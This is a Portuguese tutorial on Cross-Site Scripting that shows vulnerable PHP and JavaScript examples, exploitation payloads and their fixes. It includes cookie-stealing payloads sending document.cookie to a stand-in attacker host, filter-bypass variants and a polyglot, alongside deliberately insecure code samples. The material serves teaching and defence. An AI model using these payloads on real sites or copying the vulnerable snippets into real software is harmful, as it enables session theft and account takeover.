XSS na prática: explorando e corrigindo

1. Introdução ao Cross-Site Scripting (XSS)

Cross-Site Scripting (XSS) é uma vulnerabilidade de segurança que permite a injeção de scripts maliciosos em páginas web visualizadas por outros usuários. Para desenvolvedores, XSS representa um dos riscos mais críticos, pois explora a confiança que o navegador deposita no conteúdo originado de um servidor legítimo.

Os impactos reais de um ataque XSS bem-sucedido incluem:

  • Roubo de sessão: captura de cookies e tokens de autenticação
  • Desfiguração de sites: alteração visual do conteúdo apresentado
  • Sequestro de usuário: execução de ações não autorizadas em nome da vítima
  • Keylogging: registro de teclas digitadas pelo usuário
  • Distribuição de malware: redirecionamento para sites maliciosos

Existem três tipos principais de XSS:

  • XSS Refletido: o payload é refletido imediatamente na resposta do servidor
  • XSS Armazenado: o payload é persistido no servidor e executado repetidamente
  • XSS DOM-based: a vulnerabilidade existe no código JavaScript do lado do cliente

2. XSS Refletido: Explorando e Compreendendo o Fluxo

O XSS Refletido ocorre quando dados fornecidos pelo usuário são imediatamente retornados pelo servidor sem sanitização adequada. O vetor mais comum são parâmetros em URLs e campos de formulários.

Exemplo prático vulnerável:

Considere uma página de busca que exibe o termo pesquisado:

<!-- busca.php -->
<form method="GET">
  <input type="text" name="q" placeholder="Pesquisar...">
  <button type="submit">Buscar</button>
</form>
<p>Você buscou por: <?php echo $_GET['q']; ?></p>

Exploração:

Um atacante envia uma URL maliciosa para a vítima:

https://site-exemplo.com/busca.php?q=<script>alert('XSS')</script>

Quando a vítima acessa esse link, o servidor reflete o script diretamente no HTML, executando-o no navegador. O payload pode ser facilmente modificado para roubar cookies:

https://site-exemplo.com/busca.php?q=<script>document.location='https://atacante.com/steal.php?c='+document.cookie</script>

3. XSS Armazenado: O Perigo Persistente

O XSS Armazenado é o mais perigoso, pois o payload fica gravado no servidor e afeta todos os visitantes da página. Cenários comuns incluem campos de comentários, perfis de usuário e posts em fóruns.

Exemplo prático vulnerável:

<!-- perfil.php -->
<?php
// Código vulnerável que exibe o nome do usuário
$nome = $db->query("SELECT nome FROM usuarios WHERE id=1")->fetch();
?>
<h1>Bem-vindo, <?php echo $nome; ?>!</h1>

Exploração:

Um atacante cadastra o seguinte payload como nome de usuário:

<img src=x onerror="fetch('https://atacante.com/log?cookie='+document.cookie)">

Esse payload é armazenado no banco de dados. Toda vez que um visitante carregar a página de perfil, a imagem inválida src=x dispara o evento onerror, executando o script que envia os cookies para o servidor do atacante.

Consequência: todos os usuários que visualizarem o perfil infectado terão seus dados comprometidos, sem necessidade de interação adicional.

4. XSS DOM-based: Ataque no Lado do Cliente

Diferente dos tipos anteriores, o XSS DOM-based não envolve o servidor. A vulnerabilidade existe exclusivamente no código JavaScript que manipula o DOM.

Exemplo prático vulnerável:

<!-- index.html -->
<script>
  var user = location.hash.substring(1);
  document.getElementById('saudacao').innerHTML = 'Olá, ' + user + '!';
</script>
<div id="saudacao"></div>

Exploração:

O atacante engana a vítima para acessar:

https://site-exemplo.com/index.html#<img src=x onerror=alert('DOM-XSS')>

O JavaScript extrai o valor após # e o insere diretamente no DOM via innerHTML, sem qualquer sanitização. O navegador interpreta a string como HTML, executando o evento onerror.

Funções perigosas que frequentemente causam XSS DOM-based:

  • innerHTML / outerHTML
  • document.write()
  • eval() / setTimeout(string)
  • insertAdjacentHTML()

5. Técnicas de Exploração Comuns

Atacantes utilizam diversas técnicas para contornar filtros básicos:

Bypass de filtros simples:

// Codificação URL
%3Cscript%3Ealert(1)%3C/script%3E

// Variação de case
<ScRiPt>alert(1)</sCrIpT>

// Uso de HTML entities
&#60;script&#62;alert(1)&#60;/script&#62;

Eventos HTML alternativos:

<body onload=alert(1)>
<svg onload=alert(1)>
<input onfocus=alert(1) autofocus>
<details open ontoggle=alert(1)>

Payloads avançados:

// Injeção via javascript: em links
<a href="javascript:alert(1)">Clique aqui</a>

// SVG injection
<svg><script>alert(1)</script></svg>

// Polyglot que funciona em múltiplos contextos
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0D%0A//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e

6. Corrigindo XSS: Boas Práticas Essenciais

Escapamento de saída (context-aware encoding):

O tipo de codificação depende do contexto onde o dado será inserido:

// Contexto HTML (corpo da página)
&lt;script&gt;alert(1)&lt;/script&gt;

// Contexto de atributo HTML
&quot; onmouseover=&quot;alert(1)

// Contexto JavaScript
\x3cscript\x3ealert(1)\x3c/script\x3e

// Contexto URL
%3Cscript%3Ealert(1)%3C%2Fscript%3E

Implementação de Content Security Policy (CSP):

<!-- Header HTTP que bloqueia scripts inline -->
Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.trusted.com

CSP impede a execução de scripts inline e eval(), neutralizando a maioria dos ataques XSS mesmo que haja falhas na sanitização.

Validação de entrada com whitelist:

// PHP - Permitir apenas caracteres alfanuméricos
if (preg_match('/^[a-zA-Z0-9_]+$/', $input)) {
    // Processar entrada segura
}

Sanitização com bibliotecas confiáveis:

// JavaScript com DOMPurify
var clean = DOMPurify.sanitize(dirtyInput);
document.getElementById('output').innerHTML = clean;

7. Ferramentas e Testes para Prevenção

Testes manuais:

  • Console do navegador: testar funções como document.cookie e localStorage
  • Extensão XSS Me: identifica automaticamente campos vulneráveis
  • Testar todos os pontos de entrada: URL, formulários, headers, cookies

Automação com ferramentas:

# OWASP ZAP - Scan automatizado
zap-cli quick-scan --spider https://site-exemplo.com

# Burp Suite - Interceptação e fuzzing
# Enviar requisição para Intruder e testar payloads

Revisão de código:

Identificar funções perigosas durante code review:

// React - evitar dangerouslySetInnerHTML
<div dangerouslySetInnerHTML={{__html: userInput}} />  // PERIGOSO

// jQuery - evitar html()
$('#output').html(userInput);  // PERIGOSO

// Angular - evitar bypassSecurityTrustHtml
this.sanitizer.bypassSecurityTrustHtml(userInput);  // PERIGOSO

8. Conclusão e Checklist de Segurança

XSS continua sendo uma das vulnerabilidades mais exploradas na web. Compreender os três tipos — Refletido, Armazenado e DOM-based — e suas respectivas correções é fundamental para qualquer desenvolvedor.

Checklist prático:

  • [ ] Validar toda entrada de usuário (whitelist de caracteres)
  • [ ] Escapar toda saída conforme o contexto (HTML, JS, CSS, URL)
  • [ ] Implementar Content Security Policy (CSP) rigorosa
  • [ ] Usar bibliotecas de sanitização (DOMPurify, OWASP Java Encoder)
  • [ ] Evitar funções perigosas (innerHTML, eval, document.write)
  • [ ] Realizar testes automatizados com OWASP ZAP ou Burp Suite
  • [ ] Revisar código em busca de vulnerabilidades DOM-based

Próximos passos: aprofunde-se no OWASP XSS Prevention Cheat Sheet e mantenha-se atualizado sobre novas técnicas de exploração.

Referências